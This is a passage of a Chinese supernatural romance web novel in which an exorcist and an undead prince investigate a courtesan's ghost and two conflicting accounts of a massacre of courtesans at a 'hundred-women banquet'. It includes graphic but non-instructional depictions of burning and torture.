她一只手抓着他的脖子,另一只手黑长的指甲就向他的胸口挖去。 指甲戳在白锦夜的胸口,剧痛传来,但是却并不见血。 女鬼大概也没想到她的指甲刺不进白锦夜的皮肤,她不死心的又用力地戳下去,但除了戳破衣服之外,没有任何变化。 指甲没用,女鬼也发了狠,低头就往白锦夜的喉咙咬去。 白锦夜抬手用小臂撑住她的脖子,虽然明知道她也不可能咬破他的喉咙,但他也不想跟这女鬼太“亲密的接触”。 对抗了半响,他也终于再也忍不住,不知道有用没用,还是出声喊道,“裴清歌,你在哪?” 本来也没指望裴清歌会立刻出现,但他的话音一落,身上的女鬼就被人击中,直接飞了出去。 眼前的景色也迅速变化,哪有什么房子?分明就是一片石头废墟! 裴清歌就站在离他不过一丈的地方。 白锦夜捂着胸口站起身,弯腰捡起不远处的外套,走到裴清歌的身边。 裴清歌唇角勾着一抹笑,看了他一眼,甩出去了一道符咒。 符咒贴在女鬼的身上,本来还张牙舞爪要扑过来的女鬼一下子萎靡地坐在地上。 狰狞的外貌退去,一身红衣黑直长发披肩,竟是个有着绝世美貌的女子。 白锦夜系好腰带,抬眼看向裴清歌,“你一直都在?我什么时候开始有幻觉的?” “可能一进这院子吧。”裴清歌看了他一眼。 白锦夜脸上全是尴尬,“你就看着我……你……”他别开眼看向坐在废墟上的女鬼,所以刚才他的窘态裴清歌就全都看见了! “我还以为你有什么特殊的喜好。”裴清歌勾了勾唇,从她的角度看,跟白锦夜说话的,就一直是那女鬼的模样。 “她刚才不是这样子。”白锦夜想要解释。 “那是什么样子?”裴清歌挑了挑眉。 白锦夜张了张嘴,没有说话。 裴清歌轻笑了一声,“女鬼勾人,多会幻化男子心中喜欢、念着的女子,众所周知,你不必害羞。”她说着顿了顿,“不过你刚才已经算是不错了,这女鬼念力极强,你能很快的发现是幻觉,说明资质还不错。” 白锦夜看着她,他能很快的发现是幻觉,还不是因为觉得真正的裴清歌绝对不会用那么温和的口吻跟他说话,更不会主动跟他有什么亲密的动作? 说完,裴清歌没再理会白锦夜,而是看向那女鬼,“说说吧,你怨气这么大,是怎么死的?” 第156章 百女宴 符咒贴在身上,女鬼动一下都很难,自知不是裴清歌的对手,可脸上却还有几丝不甘和倔强,嘴唇紧闭,也没有说话。 裴清歌看了她一会,又道,“他是王爷,你要是有什么冤情,说出来他也许能帮你讨个公道。但你要是不说,我也没那么多时间浪费,就直接送你去轮回了。” “王爷?”女鬼终于终于开了口。 白锦夜看了裴清歌一眼,沉默了会才点点头,“是,本王正是肃亲王。” 这女鬼大概死了些日子,“肃亲王战死”的消息又是刚传出来没多久,所以她自然是不可能知道的。 “肃亲王?”女鬼一怔,赶紧继续问,“是去月城平乱的肃亲王?” 白锦夜点点头。 女鬼脸上有了几分喜色,挣扎着从地上爬起来,跪在白锦夜面前,“王爷,小女子有眼不识泰山,先前差点误伤王爷,请王爷不要怪罪。” 白锦夜骗人都甚少,骗鬼更是第一次,他轻咳了一声,掩去脸上的别扭,开口道,“你有什么怨气,直说就是。” 女鬼对着他磕了个头,又看向裴清歌,“此事说来话长,能不能取下这道符,我可以把当时的情景重现。” “最好别耍什么花样。”裴清歌眯了眯眼,“不然我若是下手重了,你可就要魂飞魄散了。” “小女子怎敢在王爷面前耍花样?”女鬼开口道,等身上的符咒被裴清歌撤掉,她又对着白锦夜福了福,才站起身,挥了挥手。 眼前的废墟全都消失不见,取代的是一片纸醉金迷歌舞升平的景象。 白锦夜对刚才的幻觉还有阴影,下意识地抓住裴清歌的手腕。 裴清歌看了他一眼,眉心微蹙了下。 白锦夜的指尖微微缩了下,清了清嗓子,也没有放开手。 复州一带好狎妓之风,富贾权贵携妓宴游蔚然成风。 前些年,复州最出名的妓院便是月舞楼,月舞楼的头牌,便是眼前这个绝色的女鬼——花月舞。 她自小被月舞楼的老鸨养大,请了多个师傅教授,卖艺不卖身,琴棋书画,样样精通。 有一年,一位上京赶考的考生路过复州,曾和花月舞对诗作画,甘拜下风,不久后就传来这考生高中状元的消息,花月舞更是因此名声大噪。 复州一带有头有脸的人,都能以请到花月舞作陪饮宴为荣。 不久后,那位状元竟被调任复州任职,和花月舞再次重逢,二人成了一段佳话。 当时请花月舞赴宴的价格已是水涨船高,但是只要这位状元开口,花月舞往往都分文不收,陪他赴宴。 一来二去,月舞楼的老鸨就不愿意了,虽然曾经借了这状元之名,但也不能总是没有进账。 因此花月舞就向这状元提起了给自己赎身的事。 这状元本也不是什么穷苦书生,到复州之后,就置办了个大宅子,仆人无数,听花月舞说要赎身,当即应允,很快就拿了足够的钱,给花月舞赎了身。 花月舞只想着状元既然给她赎了身,那自然就是要娶她了,她满心欢喜的搬到状元府上,可状元不仅不提成亲的事,甚至对男女之事也不那么在意。 她三番四次的暗示,状元也不为所动。 一直到那年的九月,状元突然跟她说,想先让所有人都知道她已经被赎身的事,之后再操办婚事,想要先办一场“百女宴”。 花月舞知道这风气,明白状元是想在复州大出风头,于是一手操办这“百女宴”,除她之外,在月舞楼以及其他各处秦楼楚馆,请了九十九位红妓到府上。 那一天,正是九月初九重阳节,府上热闹鼎盛。 但一众姑娘连带着花月舞,在喝下精心准备的菊花酿之后,就失去了知觉。 等她醒来…… 画面到了这里,幻境突然有些不稳定,眼前的景色断断续续,在热闹的盛宴和废墟之间不断的来回切换,过了好半天,幻境才重新清晰了起来。 花月舞被绑在院中的一个架子上,看着那九十九位昏迷的姑娘都被扔进眼前这个全部都用石头搭建而成的房子。 这房子没有窗,只有一道很厚的石门。 房子也没有那么大,十几个就已经躺满了地面,剩下的姑娘就往上摞,九十九个人都放进去了之后,厚重的石门就被死死的关好,然后他们就在房子周围点火。 石头逐渐的被火烧红,石头房子面传来那些姑娘醒来后绝望的撕心裂肺的嚎叫,可是房子小,她们甚至连挪动的空间都没有,除了嚎叫没有任何办法。 院子外面,乐声依旧。 附近邻里早就知道他们要办“百女宴”,根本没人在意被乐声掩盖的哭喊声。 花月舞看不见石头房子里的景象,但是那些嚎叫声折磨着她,她也大概能想象里面是怎样的人间地狱! 她也跟着哭喊,那里面有跟她从小一起长大的姐妹,有她最好的朋友,是她亲手写了一张张帖子邀请她们来,就好像是她亲手把她们送进了地狱! 随即状元带着一个凶狠的汉子进了门,状元坐在她面前的椅子上,手跟着外面的乐声轻轻地打着拍子,品着酒,像是这场面让他极为陶醉。 那汉子手里拿着一把一尺多长的刀,扒掉了她的衣服。 她惊惧地看着那汉子把她身上的肉一片片的割下来,每次疼得快要昏厥,就被泼上一盆冷水。 她咒骂着质问状元,然而状元沉浸在这些绝望的哭喊声之中,对她的骂声毫不在意。 她不知道那刀在自己的身上割了多少下,每割一下,那石头房里每传来一声嚎叫,都让她对状元的恨意增加一分。 她甚至不知道自己是在第多少刀的时候死去的,她开始以魂魄的状态看着这一切。 她看到那石头房正中间,吊着一块晶透的白玉石,那玉石上像是在透着丝丝寒气,是这石头房里唯一凉爽的东西。 被困在石头房里的姑娘们的魂魄离体之后,都拼命的往那白玉石里钻去! 石头房里的姑娘们像是并不知道自己已经死了,仿佛只要钻到那白玉石里就可以活命一样。 她们拼命的挤,拼命的钻,那小小的白玉石里很快就挤满了姑娘们的魂魄! 第157章 每个世界都有自己的规则 花月舞虽然不知道这是怎么回事,但她隐隐的感觉不能让这些姑娘钻到那白玉石里,可她没有办法进到石头房子里,无论她怎么喊叫,都没办法阻止她们。 再后来,她再也控制不住心中的怒意,她脑袋里就只剩下“报仇”两个字。 然而状元像是有什么东西护身,她完全没有办法接近。 她日复一日的在这里盘旋,只想找到机会报仇。 “百宴”之后,那状元就再也没有来过这里,这宅子像是被废弃了一样。 花月舞不甘心,她想离开这里去找状元,却发现她根本没办法离开这院子了。 这些天,她感觉到这院子里又来了人,只不过还没有人走到这院子,直到裴清歌和白锦夜来了这里。 从幻境里出来,白锦夜的脸上满是震惊,朝廷钦点的状元,竟然做出这样灭绝人寰的事情! 而且“百宴”后,那么多妓女失踪惨死,事情就被那状元直接压了下来,这在复州可谓是一手遮天了! 裴清歌眯了眯眼,这是一种邪术,那块白玉石叫魇石。 那些钻进魇石的魂魄便会认为是这魇石的主人救了她们,从此对他忠心耿耿,唯命是从。 至于发生在花月舞身上的,算是一种控术,那些吃过肉的人,从此后也会对那状元俯首帖耳。 花月舞又重新跪在了地上,“请王爷为小女子伸冤。” “你……” 白锦夜正要说话,却被裴清歌打断,“那状元叫什么?在复州官任何职?” “他名为沈易安。”花月舞提到这个名字,依旧咬牙切齿,“当时是复州刺史,现在是何官职我便不清楚了。” 裴清歌点点头,转头看向白锦夜,“这个人,你听说过吗?” “嗯。”白锦夜应了一声,“听说当年在一众考生之中脱颖而出,文章惊为天人,大街小巷全都传阅。” “是么?”裴清歌撇了撇嘴,“花月舞,这些事情也不能全凭你一面之词,我们会去调查清楚,若是你说的是真的,一定会还你一个公道。” “小女子句句属实。”花月舞赶紧道。 “我暂时把你封印到符咒里面,等事情解决之后再超度你。”裴清歌说着抽出一道符,在花月舞的面前晃了下,她便被吸到符咒之中。 裴清歌收起符咒,转身往回走。 “这里要怎么处理?”白锦夜看了一眼院子里的废墟,跟上了裴清歌的脚步。 “这怨魂不在,怨气会慢慢的散去,回头找人撒点朱砂草木灰,阳光多晒晒就没事了。”裴清歌侧头看他,“不过你确定,知道这里发生过这种事之后,你还让你外公住在这?” 白锦夜犹豫了片刻,“外公在战场杀敌,应该没什么忌讳。” “可他年纪大了,再加上张太妃,我看府里的老人也不少。这院子倒是能处理干净,但老人阳气弱,终究是不太好。”裴清歌说着顿了顿,“反正话我已经说了,你们家的事,你自己看着办。” “那听你的。”白锦夜开口道,“明日我去跟外公说。” “随你。”裴清歌边走边道,沉默了片刻,才继续道,“鬼怪说的话,不能全信,它们自死了之后,就陷入自己的执念,长此以往,可能会假想出很多原本并不存在的事情,这些会让它们的怨气更重。而怨气越来越重,它们的理智就会逐渐被侵蚀,进而把生前遇到的不公平的事情扩大。” “这其实是一个循环加剧的过程,另外,也不能轻易对它们许诺,那毕竟是另外一个世界了,我们虽然可以通过术法跟它们沟通,制止它们在我们这个世界作乱,但是另外一个世界也有它自己的规则,这些规则是不能被打破的。” 她说着脚步顿了顿,轻轻叹了口气,“就像是逆天改命,也是破坏规则的一种,所以会招致天谴雷劫。” “知道了。”白锦夜点点头。 裴清歌没再说话,回了房间简单的洗漱下,就躺在了床上。 相比之下,白锦夜就狼狈得多,他彻头彻尾地洗了一遍,又换了一身干净的衣服,回来的时候,床幔已经被裴清歌放了下来。 隔着床幔,他看着床上裴清歌的轮廓,微微抿了抿唇,走到一旁的软塌上躺下来。 成了冥尸之后,受伤的那段日子虚弱一些,之后他确实不怎么能感觉到累,就算是不睡觉,也不会困。 但按照之前裴清歌师父的说法,他又不能不睡。 有时候他对自己成为冥尸这件事,也没有太大的感觉,就像是裴清歌一开始跟他说的,看起来和常人无异。 不过那日鬼卿也说了,冥尸到底算是一种逆天的存在,以后会怎么样,也没人知道。 白锦夜轻轻地叹了口气,目光落在床幔的方向,慢慢地困意袭来,就睡了过去。 * 第二天一早,吃过早饭,楚星玄和左辞两个人精神都有点萎靡。 白锦夜的目光在他们两个身上扫了一圈,才问左辞,“昨晚休息得不好?” 左辞看了眼楚星玄,讪笑了两声,“昨晚跟楚公子出门喝酒,天亮才回来。” “哦?”白锦夜挑了下眉。 “实话实说怕什么?”楚星玄轻笑了一声,“我俩去了月舞楼,咱们既然要做生意,就总得看看别人家是怎么做的,对吧?” “少爷,我们昨晚找的姑娘都是卖艺不卖身的,就是听听曲,看看舞,喝点酒,别的什么都没干。”左辞赶紧解释道。 “月舞楼?”裴清歌也开口问了句,“生意很好么?” “这复州没有宵禁,月舞楼也是通宵营业,整晚的人络绎不绝,生意好的不得了。”左辞回道。 裴清歌微微点点头,看向冷鸢,“咱们也去看看。” “诶,诶。”左辞立刻站起来往前走了几步,“少夫人,那种地方你去可不方便,我们……我们就是图个新鲜,以后都不去了。” “你换一身男装,我跟你一起去。”白锦夜没有理会左辞,对着裴清歌道,她想去,肯定是因为昨晚花月舞的事情,那他自然也没有不去的道理。 裴清歌点了点头,带着冷鸢一起回房去换衣服。 冷鸢帮裴清歌整理衣衫的时候,目光往床上瞥了一眼,虽然旁边还有软塌,但是软塌上也没有床缛,她犹豫了会才低声问道,“你昨晚跟白锦夜……睡在一起么?” 第158章 套话而已,又不是要命的事 裴清歌倒也没有多心,一边整理袖口一边道,“他睡在软塌上。” 冷鸢垂下眼,顿了会才说,“咱们只是要找到‘神冥公’的其他后人,找机会向张家打听打听,找到了了之后,没必要……再跟他牵扯吧?” 裴清歌手指顿了顿,笑着看向冷鸢,“阿鸢,你怎么了?好像很怕我跟白锦夜牵扯在一起。” 冷鸢也没有隐瞒,只是点点头。 裴清歌笑着推了把冷鸢的头,“别再想这些有的没的,我不会跟他有什么的。” 冷鸢抿了抿唇,没说话,可眼底却依旧带着担忧,圣女修习的术法,断七情六欲,可白锦夜没有啊。 再说断了七情六欲之后,说不定这世上的男人对裴清歌来说,都是一样的,那谁一直在她身边,谁的机会自然就大。 若是真的万一哪一天…… “那我们也早点把这件事解决,早点离开这吧。”冷鸢又道。 裴清歌想着昨晚她感受到的白锦夜的心思,嘴角的笑容慢慢消失,隔了会才点了点头,“好。” * 往月舞楼去的路上,裴清歌也把昨晚的事简单地跟冷鸢说了一遍。 冷鸢看了白锦夜一眼,低声道,“都成了冥尸还能被幻象迷惑,心思定是不纯。” 她虽然声音不大,但也恰好够白锦夜听到。 “他毕竟不像是我们和鬼卿,从小就修习术法。”裴清歌笑了笑低声道,“花月舞的念力确实很强大,死时不甘,怨气太深,一般人都难以逃脱她的幻象。” 白锦夜也没想到,裴清歌还会帮他说句话,也就没有计较冷鸢的态度。 正说着话,前面便传来官差开路的声音,阵仗极大,路上的百姓都赶紧靠边让路。 裴清歌三个人也靠到了路边,她看着眼前的仪仗,向旁边的一位老伯打探,“老伯,这轿子里是什么人啊?” 老伯打量了换了男装的裴清歌一眼,“你们是外地来的?” 裴清歌点点头,“来复州投奔亲戚,昨天才刚到。” “怪不得。”老伯的目光又回到那轿子上,“这是咱们的复州府丞,沈大人。” “沈大人?”裴清歌抿了下唇,“沈易安?” 老伯捋着胡子点了点头。 “这阵仗这么大,原来只是府丞,不知道的,还以为皇上到了。”裴清歌轻笑一声。 “你这小子,乱说话不怕掉了脑袋!”老伯听裴清歌这样说话,也不敢再在她旁边站着,赶紧往远处走了几步,跟他们拉开距离。 “前几年只是刺史,是监察之职,按说任期满了,也该回京另做安排,即便升职,为了防止徇私舞弊,也不会再派到复州来任职。”白锦夜低声道。 “看样子这事情中的猫腻还不小。”裴清歌说着收回目光,继续往月舞楼的方向走。 上午这个时间,月舞楼的人不太多,只在楼下坐了几桌客人在欣赏台上的舞姬跳舞。 老鸨眼睛毒辣,看得出来三个人都是生面孔,但迎上来之后,还是客气询问是否有相熟的姑娘。 白锦夜拿出一锭金子放在一旁的柜台上,“要个雅间,把你们这最好的姑娘叫过来。” 老鸨见这三人穿着似是普通,但是出手可是大方,赶紧收起了金子,堆了满脸笑容,“贵客里面请。” 她亲自把人带上了三楼,推开一间雅间的门,“公子,这个雅间是咱们这景色最好的,开窗就挨着翡月湖,这要是到了晚上,湖上游船画舫、彩灯铺照,景色可是一绝。不过这白日里,艳阳普照、花红柳绿,也别有一番美景。” 她说着话,也走到窗边推开窗子。 “这处雅间,多少贵客都要提前好长时间才能订到,不过来得早不如来得巧,恰巧今日没有贵客预定。” 白锦夜往窗外看了看,也没有说话。 老鸨会意,赶紧道,“要说咱们月舞楼最好的姑娘,那自然是头牌——月舞姑娘了。不过月舞姑娘昨日陪府丞大人赴宴,深夜才回来,这会还休息着。” 裴清歌看了白锦夜一眼。 白锦夜又拿出一锭金子,“我们不急,那就等月舞姑娘收拾妥当再过来吧。” “好嘞。”老鸨笑得眼睛都快眯上了,月舞楼通宵营业,一般清晨和上午都没什么客人,下午开始才会有陆陆续续的人过来,直到夜幕降临,才是月舞楼最热闹的时候。 难得一早上就有贵客临门,老鸨自然尽心招待。 很快便有侍女送上了茶果点心,清酒小菜,又来了几个乐姬舞姬助兴。 裴清歌抿了一口茶,看向白锦夜,“你倒是熟门熟路。” “我也是第一次来。”白锦夜轻皱了一下眉头,“但这种地方,和酒楼客栈没什么区别,只要有钱,都是贵客。” “看出来了,你出手这么大方。”裴清歌之前虽然赚了些钱,但也没到挥金如土的程度。 沉默了会,白锦夜才道,“京城之中,只留了一处宅子和一处别院,剩下的宅子、铺子、院子全都变卖了,司空留在京中处理。先皇曾赏赐给我两座矿山,每年产出不少,再加上封地每年的税收佃租,钱财上你无须担心。” 裴清歌看着他,“但你已经不在了,那矿山应该被朝廷收回,封地的税收也都不再归你了。” “矿山是先皇的私产,跟朝廷没关系,皇上也答应十年内的税收都给母妃,十年后再收回封地,目前看也没什么太大区别。”白锦夜继续道。 裴清歌点点头,“那恭喜你后半生衣食无忧。” 白锦夜看着她,“这些你也应该清楚,等司空回来,我让他把账册给你。” 裴清歌轻笑一声,“我养活得了自己。” “但……” 白锦夜正要再说话,雅间的门被人从外推开,一个身形曼妙的粉衣女子从门外走了进来,他的话被打断,也抬眼看过去。 女子肤光如雪,樱唇含笑,约摸十八九岁的年纪,娇媚无比。 她走到桌前,盈盈一拜,“月舞给贵客请安,不知几位贵客怎么称呼?” “东主姓张。”裴清歌抬手指了指白锦夜,反正是张之极对外宣称的孙子,自然是姓张。 “张公子。”月舞往前走了几步,拿起茶壶,给白锦夜斟茶,“不知张公子喜好什么,写诗,作画,弹琴,对弈还是歌舞?” “咱们这位张公子性子寡淡,对琴棋书画都没兴趣,只喜欢跟美女聊聊天。”裴清歌又道,“不如月舞姑娘也坐下来,一起随意聊聊?” “恭敬不如从命。”月舞福了福身,坐了下来,随即又看向白锦夜,“张公子是外地人吧?” 白锦夜轻咳了一声,脸上带着窘迫,看向裴清歌,眉心也慢慢地皱起来。 裴清歌见他一脸别扭的模样不由无奈,又不是叫他做什么,只不过聊聊天,套套话,怎么好像要他的命一样? 第159章 另一个故事 空气静默了半响,月舞似是也没遇到过这样的客人,片刻后开口问道,“是月舞入不了张公子的眼么?” “哪有?”裴清歌只好自己开口,“张公子脸皮薄,害羞而已。”说完便继续问道,“姑娘名为月舞,这又是月舞楼,莫非这月舞楼是姑娘开的?” “我哪有这样的福气?”月舞笑道,“这是月舞楼的规矩,头牌姑娘,都叫月舞。” “哦。”裴清歌了然,“我们几人是从外地来的,对月舞姑娘略有耳闻,如今看来,我们听说的,并不见得就是你,也有可能是别人,是么?” 月舞点点头,“不过名虽改掉,姓还是保留的,我姓任,不知道贵客可知道听闻的月舞姑娘姓什么?” 裴清歌认真的想了会,才道,“好像是姓花。” “姓花……”任月舞垂着眼,眼里掠过一抹异样,但又很快掩盖下去,开口道,“确实有过这样一位姑娘,但是她三年前就已经不在了。” “是么?”裴清歌像是有些诧异,“那还真是可惜,我们这么远来,就是为了她,没想到无缘得见,不知道她的墓在哪,我们去拜祭一番,也不算白来一趟了。” 任月舞沉默了会,虽然花月舞的事情不算是什么秘密,但是他们大多数人也不愿意提起,她轻叹了口气,“她没有坟地,我劝几位也别再提起她,她在复州受万人唾弃。” “此话怎讲?”裴清歌又问。 任月舞这一次没有说话。 裴清歌看了看白锦夜,白锦夜自觉地摸了摸口袋,金锭重,他也不过就带了两锭,这一次只能拿银票出来了。 他把银票放在任月舞的面前。 任月舞也没收,反倒是把银票推了回去,轻轻叹了口气,“既然你们想知道,那我就跟你们说说。” “花月舞姑娘……其实她也不能再叫月舞了,她本名叫花惜,做头牌之前,大家都叫她惜儿姑娘。当年她确实为月舞楼招揽了不少顾客,才情均是一绝,再加上那一年沈大人进京赶考路过此地,曾与惜儿姑娘对诗。” “沈大人惜才爱才,也不与女子一般见识,对诗中留了几分余地,惜儿姑娘才侥幸赢了一筹,后来沈大人高中,这件事也算是成了佳话,惜儿姑娘一时甚至有了‘女状元’之称。” “事情若是到此为止,倒也是一桩美谈。”任月舞又叹了口气,“只是没多久,沈大人就被派到复州来做刺史,惜儿姑娘的心思就活了起来。” “尤其是发现沈大人家境富裕,她就动了让沈大人帮她赎身的心思。她总是找各种机会跟沈大人偶遇,又苦心营造她与沈大人两情相悦的假象,就连月舞楼的生意都不管了,整日缠着沈大人。” “沈大人本身已经有青梅竹马的未婚妻,可惜儿姑娘以死相逼,沈大人迫于无奈,只好给惜儿姑娘赎了身,惜儿姑娘就搬到了沈大人府上。” “后来,沈大人成亲那日,惜儿姑娘突然穿着一身大红色的喜服出现在喜堂上,闹得婚宴和宾客都很尴尬。事后沈大人一怒之下把惜儿姑娘赶出了沈府,可她一直跪在沈府门口认错,跪了两三天,是沈夫人心软,又让她重新进了沈府。” “这一次,惜儿姑娘没再胡闹,在沈府老老实实地住了段日子。一直到沈大人刺史期满,进京述职,当时沈夫人有了身孕,没办法长途跋涉跟沈大人一起进京,就留在复州等着沈大人回来。” “之后,惜儿姑娘以沈大人和沈夫人的名义,举办了一场‘百女宴’,当时说是沈大人要调任外地,不再留在复州了。沈大人在复州三年,交游甚广,朋友众多,听到这个消息,便全都来参加他的拜别宴。” “可哪想到,拜别宴上,根本不见沈大人的身影,只有惜儿姑娘忙前忙后,沈夫人也只是宴席开始露了个脸。惜儿姑娘便说沈大人路上耽搁了,今日没能回来,但请帖已发,也不好取消宴席,就让在场的各位玩得尽兴。” “那些以沈大人宴请陪客的名义召到府上的姑娘,一开始还陪着宾客,后来惜儿姑娘说要玩个游戏,就把那些姑娘带走了,之后那些姑娘就再也没有回到宴席上。” “宾客们喝酒吃肉,也不觉时间过得快,后来也不知为何全都睡着了,等醒来已经是第二天早上,沈大人终于风尘仆仆的回来,众人都向他道别。但沈大人却说因为沈夫人有孕在身不易奔波,他向皇上求了继续留在复州任职,也根本没有什么拜别宴!” “宴席上一个姑娘都不见,沈夫人和惜儿姑娘也没再出现,沈大人和大家寻到后院,才发现那些姑娘都被烧死在一个石头房子里。” “后来沈大人把惜儿姑娘囚禁在那石头房子里,他自己也是性情大变,听说经常能听见惜儿姑娘大喊救命的声音,可她害了那么多人,根本没人会同情她,几个月后,就再也没有听见过惜儿姑娘的声音了。” “自那之后,沈大人性情阴郁,当年那个光风霁月的状元郎,已经一去不返了。” “这件事,复州的人差不多都知道,只是没有人愿意提起。” 白锦夜看向裴清歌,这和昨晚花月舞说的,完全是两个故事。 裴清歌垂眼看着茶杯,一副若有所思的模样,顿了会才又问,“听老鸨说,你昨晚陪沈大人出席宴席去了?” 任月舞点了点头。 裴清歌这才抬眼直视任月舞,“可按理说,花惜害了沈大人的妻子和尚未出世的孩子,沈大人曾经也被她纠缠多年,要是一个普通人,也该对风尘女子避而远之才对,怎么还会要你陪他赴宴?难道看到你的时候,不会想起花惜,不会想起自己的妻儿么?” 任月舞微微一怔,没有回答。 “除非……”裴清歌慢慢地道,“你刚才说的,都是假的。” 第160章 恶鬼缠身 “我哪有必要编故事给几位贵客听?”任月舞抿起唇,“再说,就算编排,我也不敢编排到沈大人身上。” “是么?”裴清歌还是一副不相信的表情。 “这事也不是我一个人知道,你们出去随便打听,就知道我说的是不是真的,我也没有必要自砸月舞楼的招牌。”任月舞说着停顿了片刻,看向白锦夜,“张公子还有什么其他的吩咐么?” “那便跳支舞吧。”裴清歌看了看任月舞的袖口,开口道。 白锦夜也只能跟着点头。 任月舞走到乐姬身前,低声吩咐了几句,乐声响起,她便跟着翩翩起舞。 她穿的本来不多,跳舞间,手臂、腰肢和腿便会露出来。 白锦夜立刻别开眼,看向窗外的景色。 一曲舞毕,任月舞看向白锦夜,“看样子,张公子确实是为了惜儿姑娘而来,月舞的舞姿难以让张公子注目,月舞自罚三杯,就当是扰了张公子的雅兴,为此赔罪。” 她说着上前给自己倒酒,却被裴清歌抓住手腕,“月舞姑娘,你身上好像有伤,就不要喝酒了。” 任月舞赶紧收回手,“我没受伤,多谢公子关心。” “是么?”裴清歌笑了笑,“可这天气也不热,你穿的又少,刚刚这舞也没什么复杂的动作,你却出了汗……是身上有伤,跳舞的时候牵动伤口疼出的汗吧?而且你这会的脸色已经没有刚进来的时候好了,胭脂水粉可以补补气色,但若是脸色太苍白,也很难掩盖住呢。” 任月舞站在那,有些不知所措的模样,隔了好一会只是说,“我只是……身体不方便,看样子确实是扰了贵客的雅兴。反正几位公子要看的人也不在,便是换几位姑娘也和我无异,我这就去跟妈妈说一声,给几位公子换其他的姑娘来。” 裴清歌自顾自地倒了杯茶,“你身上的伤,是沈大人弄的吧?老鸨应该不会不知道,可她还是让你出来接客,想必也不过是为了榨干你的价值。要是我猜的不错,你们这月舞楼,应该已经有不少姑娘死在沈大人手里了,你也逃不掉。” 任月舞的身体轻轻颤抖着,要往外走的脚步也停了下来,可却死死地咬着唇没有说话。 “你若不说实话,没人能帮你。”裴清歌又道。 任月舞站了半响,深吸了一口气,看着屏风那边的乐姬,提高了声音,“你们先下去吧。” “是。”乐姬们纷纷起身离开。 等雅间的门都关上,任月舞才重新回到桌前。 她站了片刻,才抬起手,解开外衣的带子,把外衣褪下去,只剩下淡粉色的肚兜。 白锦夜也没想到她会突然脱衣服,迅速的起了身,走到窗边,背对着几人。 裴清歌瞥了他一眼,嘴角露出一抹笑,才看向任月舞,她的后背上满是鞭痕交错,还有几处烫伤的痕迹。 虽然新伤已经上了药,但旧伤的伤疤却依旧在目。 “所以沈大人就是痛恨风尘女子对么?”裴清歌开口问道,“他召你们去,你们不得不去,去了又被他折磨?” 任月舞披好外衣,点了点头,“其实那件事之后,月舞楼就被沈大人买了下来,如今他是月舞楼的老板,妈妈也是他的人,我们与月舞楼签了卖身契,他对月舞楼的姑娘做任何事,也根本不会有人管的。” 她说着起身跪在地上,“我听说复州来了位从盛京告老还乡的将军,是姓张,你们便是那位张将军的家人?小女人出身卑贱,死不足惜,可月舞楼这么多姑娘……我们在这月舞楼里走投无路,状告无门,每日担惊受怕,不知道下一个死的会不会是自己。几位若是再回盛京,能否……” 她说到这里,也停了下来,“月舞知道不该痴心妄想,但谁不想活着,谁愿意死呢?” 裴清歌看着她没有说话。 片刻后,任月舞也起了身,“几位贵客便当月舞酒后失仪,说了不该说的话,忘了便是。” 裴清歌笑了笑,“月舞姑娘,这酒不错,你让人再上两壶,刚才那批乐姬弹得曲子,我们张公子不喜欢,你叫人换一批乐姬来,舞姬就不必了。” “是。”任月舞应了声,福了福退下了。 走到门口,她又转身看了看白锦夜的背影,才抿着唇离开了。 听到门关上,白锦夜才重新回到桌边坐下,“看样子,若想知道事情的真相,就只有去见见那位沈大人了。” 冷鸢皱了下眉,似乎是想说什么,但看了看白锦夜,嘴边的话又咽了回去。 裴清歌知道她想说什么,但大概因为对白锦夜有成见,她不愿意开口,于是就自己道,“那沈大人已经被恶鬼缠身了,今日我见他的轿子上,黑气缭绕,怕是已经活不久了。” 白锦夜看了看裴清歌没有说话。 裴清歌把他面前的茶杯挪开,倒了一杯酒给他,“来都来了,钱也花了,不享受下么?” * 左辞和楚星玄吃过早饭就一前一后的回去补觉,走在后面的楚星玄碰到了张之极,寒暄了两句,张之极就是客套客套说白锦夜怎么一个人出去,也没陪着客人。 楚星玄也就随意地回了句说他去妓院了。 张之极听完这话,简直怒火中烧,就差拎着棒子去把白锦夜打回来了。 忍了又忍,才算是没出门,但等听说白锦夜回府了,立刻就冲了出去。 本来一脸怒气的人,看到白锦夜身边还站着裴清歌的时候,怒气又全都憋了回去,伸手把白锦夜拉到一边,“你去妓院了?你怎么能去那种地方?你可真是……不洁身自好!” 白锦夜有点无辜,顿了顿才说,“是清歌想要去长长见识,我才带她去的。” 张之极一怔,“她胡闹,你也这么没分寸么?要是让人知道你带着夫人去逛妓院,这成什么体统?” 他自以为压低了声音,但一旁的裴清歌和冷鸢也听得真切。 裴清歌递给白锦夜一个多保重的眼神,就带着冷鸢往前走了。 她们走了,张之极也不用再压着火了,“让我说你点什么好?以前觉得你不需要我操心,处处考虑周全,怎么……怎么在这事上,就不让人省心了呢?” 白锦夜也没办法多解释,只能转移话题,“咱们既然到了复州,是不是也该去府丞家里拜会下?” 这是正事,张之极捋了捋胡子,“这宅子就是沈府丞的宅子,见是已经见过了,本来有张太妃在,合该是他来府上拜会,但是听你表哥说,这宅子里有沈府丞的伤心往事,他不愿意来,我已经约了他,应该是明日晚上,在月舞楼一起吃晚饭。” “月舞楼?”白锦夜挑了挑眉,“外公,你刚刚还说我,这月舞楼不就是妓院?” “什么?”张之极眉毛一竖,“这是沈府丞定的地方,而且你表哥说那是翡月湖旁边最好的酒楼啊。” “那你就当它是酒楼吧。”说完白锦夜忍着笑,迈步往裴清歌的方向追去。 第161章 是我害死了她 晚上吃饭的时候,张之极拉着楚星玄聊天,楚星玄给他讲了不少奇闻异事。 但裴清歌听得出来,大部分都是胡诌出来的,她也实在听不下去,就先回房了。 她走了片刻,张之极就催促白锦夜也赶紧回去。 白锦夜回房的时候,刚推开门,就听到水声,已经迈进房间的一只脚一时之间不知道该收回来还是继续进去。 他垂在身侧的手握成拳,放开,又握成拳,又放开。 犹豫了半响,最终还是迈了进去。 浴桶在屏风的后面,他除了人影,并不能看见什么。 但蓦地某些画面就涌现在脑海里,自从成为冥尸之后,他发现自己的记忆也突然变好,哪怕是以前记得模糊的事情,也逐渐变得清晰起来。 就好比大婚那日,本来他中了药,对整个过程里,除了零星的画面以外,已经没有太多的印象了。 可不知道为何,这一会就全都涌现出来。 他本就是因为裴清歌师父的话以及紫莲戒的事,才会娶裴玲珑,只不过接触一段时间之后,他多少也觉得裴玲珑的性子与自己不合适。 所以大婚那日,他只喝了几杯酒,完全没有醉意,打算把有些话跟裴玲珑说清楚,他那时也知道,不出意外,自己只能活到年底,所以他不会碰裴玲珑,将来他若是死了,也会提前给她安排好去处。 他进了新房,就闻到一股异香。 